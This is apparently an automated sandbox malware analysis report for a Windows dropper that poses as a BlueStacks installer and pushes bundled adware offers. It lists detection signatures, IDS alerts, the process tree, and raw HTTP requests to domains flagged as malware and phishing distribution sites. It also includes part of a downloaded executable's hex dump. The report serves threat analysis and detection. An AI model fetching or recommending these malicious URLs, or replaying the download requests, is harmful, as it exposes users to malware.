Edit tour

Windows Analysis Report
1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Overview

General Information

Sample name:	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Analysis ID:	1378312
MD5:	f80fd5edf505c1f763dee9f092f58e8f
SHA1:	0b609d4a999959868c5fd1c6e4aba53bf9746f2a
SHA256:	1787a87f208cd0898943bd70e7e76a2c8b1b39679b20a6ac57d13ff98fd72aa4
Tags:	exeRecordBreaker
Infos:

Detection

Score:	42
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Machine Learning detection for dropped file

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Classification

Process Tree

System is w10x64

1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe (PID: 1488 cmdline: C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe MD5: F80FD5EDF505C1F763DEE9F092F58E8F)

1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp (PID: 3660 cmdline: "C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp" /SL5="$2042E,832512,832512,C:\Users\user\Desktop\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe" MD5: D235738F98B347CBABC597EE2275E610)

setup.exe (PID: 4372 cmdline: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe MD5: F3F0E443AE1A3876A532B4B3ACC72A9E)

cleanup

Snort Signatures

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.6 - Destination IP: 104.21.38.59

Timestamp:	192.168.2.6104.21.38.5949721802839343 01/21/24-17:27:26.674153
SID:	2839343
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/TrojanDownloader Variant Activity (GET) - Source IP: 192.168.2.6 - Destination IP: 104.21.61.51

Timestamp:	192.168.2.6104.21.61.5149712802047660 01/21/24-17:27:08.009174
SID:	2047660
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://digitalpulsedata.com/tos	Avira URL Cloud: Label: malware
Source: http://restfork.website/	Avira URL Cloud: Label: malware
Source: http://restfork.website/boa.php	Avira URL Cloud: Label: malware
Source: https://www.pcmaintainer.com/eula	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ%3D%3D&ti=1705854428	Avira URL Cloud: Label: phishing
Source: http://antsmemory.xyz/	Avira URL Cloud: Label: phishing
Source: https://destructionheat.site/tracker/thank_you.php?trk=2577	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMD	Avira URL Cloud: Label: phishing
Source: http://restfork.website/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ==&sub=2577&ps=6576a2b77bafa	Avira URL Cloud: Label: malware
Source: http://restfork.website/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU	Avira URL Cloud: Label: malware
Source: http://www.pcmaintainer.com/privacy	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: restfork.website	Virustotal: Detection: 9%	Perma Link
Source: https://digitalpulsedata.com/tos	Virustotal: Detection: 8%	Perma Link
Source: http://restfork.website/boa.php	Virustotal: Detection: 6%	Perma Link
Source: http://restfork.website/	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	ReversingLabs: Detection: 39%
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Virustotal: Detection: 45%			Perma Link

Machine Learning detection for dropped file

Source: C:\winrar-x64-623.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Joe Sandbox ML: detected

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe

Window detected: &Next >CancelBlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exeLicense AgreementPlease review the license terms before installing BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe.Press Page Down to see the rest of the agreement.Welcome this is an important message and license agreement so please read all below carefully. BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe is financed by advertisement. By clicking Accept you will continue with the installation of BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe and the offers listed below.Get an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the EULA <https://legal.opera.com/eula/computers/> Privacy Policy <https://legal.opera.com/privacy/> and consent to install.proxy service to protect your privacy. Accept the EULA <https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe> by pressing "Agree". Make your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the EULA <https://advancedmanager.io/eula> and Privacy Policy <https://advancedmanager.io/privacy-policy> by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the EULA <http://www.thedownloadplanet.com/termsofuse> and consent to install.you ready to transform your Windows operating system and experience peak performance like never before? Look no further you're about to unlock the full potential of your PC with our cutting-edge PC Maintainer application.Experience a noticeable performance boost after running our Disk Defragmentation tool ensuring your system runs at its best. The CleanMgr feature identifies and removes unnecessary files helping you regain valuable storage space. Our SFC Scan feature performs a deep analysis of all system files to ensure that even the smallest issues are detected and resolved.We're committed to keeping your PC Maintainer up to date. Enjoy free regular updates with additional features and improvements.By clicking "Accept" you have read the Privacy Policy <https://www.pcmaintainer.com/eula> and hereby agree to the EULA <http://www.pcmaintainer.com/privacy> and to the installation of PC Maintainer.proceeding with the installation you agree to the EULA <https://digitalpulsedata.com/tos> grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your

Source: unknown

HTTPS traffic detected: 104.21.38.59:443 -> 192.168.2.6:49720 version: TLS 1.2

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: nsv5F72.tmp.3.dr, winrar-x64-623.exe.3.dr

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_00405E61 FindFirstFileA,FindClose,	3_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	Code function: 3_2_0040263E FindFirstFileA,	3_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2047660 ET MALWARE Win32/TrojanDownloader Variant Activity (GET) 192.168.2.6:49712 -> 104.21.61.51:80
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.6:49721 -> 104.21.38.59:80

Performs DNS queries to domains with low reputation

Source:	DNS query: antsmemory.xyz
Source:	DNS query: beadhouse.xyz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 21 Jan 2024 16:27:12 GMTContent-Type: application/force-downloadContent-Length: 3468129Connection: keep-aliveX-Powered-By: PHP/5.3.28Content-Disposition: attachment; filename="BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe_.exe"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6DZ0etoRZYZ5sckTpUdXItg9rGwT1w%2FNC5BT%2FYUTCuDjHknSrT5tp%2BH80ZEQD9NyB%2FGK3XSWWVVpqA8dh3PM%2FJ44lHfHUAHMH0uwxXjaDblAggB6d4AhUDssQNUQMwmbyA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490ec455bd0137b-ATLalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\ `.rdatap`@@.data

Source: Joe Sandbox View	IP Address: 172.67.210.35 172.67.210.35
Source: Joe Sandbox View	IP Address: 104.21.61.51 104.21.61.51

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ss.php?a=3876&cc=US&t=1705854427 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ==&sub=2577&ps=6576a2b77bafa HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ%3D%3D&ti=1705854428 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: antsmemory.xyz
Source: global traffic	HTTP traffic detected: GET /boa.php HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=1&a=2577&on=420&o=1662 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2577&dn=420&spot=1&t=1705854427 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=2&a=2577&on=419&o=1661 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2577&dn=419&spot=2&t=1705854427 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=3&a=2577&on=244&o=331 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2577&dn=244&spot=3&t=1705854427 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=4&a=2577&on=415&o=1657 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2577&dn=415&spot=4&t=1705854427 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=5&a=2577&on=424&o=1664 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2577&dn=424&spot=5&t=1705854427 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=6&a=2577&on=416&o=1658 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705854427 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: restfork.website

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:27:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CncSmRw1m%2FII12M35UaUvcb1UrASWzCucnHahINVBafljR57rEn%2BMlpNvCYuiJ9kV4LdWU3kLZAx%2FJU%2F0FY94%2BtFbiPbAyvjqln9udcXySSULLHD1Pl4hQhD1jyvc3Dw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490eca8eb3ead70-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:27:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PwNwUlKSgUMzAr9NpGeWRbH2d8gNB9Z5S96ZMcn39sSjZ9Xvzchaeo2u4%2FMVCYHuMmkLJ9eDT0RRopPap%2BW%2FnjqYzXJMRY5vxj97ZGY0URB4t11av73zZds5sQHLEYxO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490ecab3d2aad70-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:27:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Fluy4wte8v8D9oU6z5k2QFIWkSi%2Bqh1diX8toCVBRU%2BrIMzVBpRIM2w5N11NKY%2FY%2BcEfo03vPcQyanM4AUIYz1xTO5A6puB0YDDl1%2B62WZ5A%2FjYUtgHtAq%2FwrBhcfjbg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490ecad7f05ad70-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:27:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ab0o4ovJFGvJU1g4OM5shkyfmb71%2BQhqjjuhjZcyDTduaan96YnRYU8rC70njtk3OoSqmTb9KwzNLXifBc6dfJI4ZpLDmsrtDI6rOCBqeoD3dg17%2Bc9LYPsRrhhfL7M6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490ecafa913ad70-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:27:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IeztSejw9zFPfXZOm978Ez7NBt7nd3PtsfcGea9%2Fba%2BfuJhE5cRj%2B9Fn3HcuMQwPIxLEQ193uirss5gUh7gtaeb%2BpQxsOiTGzewvG1Dcti7g%2FrEDovHTA19PIsALnVbr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490ecb1db36ad70-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:27:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Fcfywzx3rejBUb0kQ%2F4xtSknkhTqLSzjD8AOXvHQSj3%2BLkp4%2FQIC7m6syUF1uaOJDwdtB2MZNz8T0a2PEC65Xez0gBG%2B%2FZZhd24jrJWIeUI8h8541QL17rHgaoYD%2FCZK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490ecb40d0ead70-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3397219463.0000000000942000.00000004.00000020.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2249347472.0000000000935000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/
Source: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.0000000002541000.00000004.00001000.00020000.00000000.sdmp, is-9CN42.tmp.2.dr	String found in binary or memory: http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMD
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=1&a=2577&on=420&o=1662
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=2&a=2577&on=419&o=1661
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=3&a=2577&on=244&o=331
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=3&a=2577&on=244&o=331Zu
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=1657
Source: setup.exe, 00000003.00000002.3397288770.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=1657%
Source: setup.exe, 00000003.00000002.3399973361.0000000005410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=16572577&dn=420&spot=1&t=1705854427
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2577&on=424&o=1664
Source: setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2577&on=424&o=1664577&dn=244&spot=3&t=1705854427?nb
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658
Source: setup.exe, 00000003.00000002.3399973361.0000000005410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=16582577&dn=415&spot=4&t=17058544271
Source: setup.exe, 00000003.00000002.3397288770.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658B
Source: setup.exe, 00000003.00000002.3397288770.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658S
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2577&dn=415&spot=4&t=17
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2577&dn=416&spot=6&t=17
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2577&dn=419&spot=2&t=17
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2577&dn=420&spot=1&t=17
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2577&dn=424&spot=5&t=17
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2577&dn=244&spot=3&t=170
Source: setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2577&dn=415&spot=4&t=1
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2577&dn=416&spot=6&t=1
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2577&dn=419&spot=2&t=1
Source: nsv5F72.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2577&dn=420&spot=1&t=1
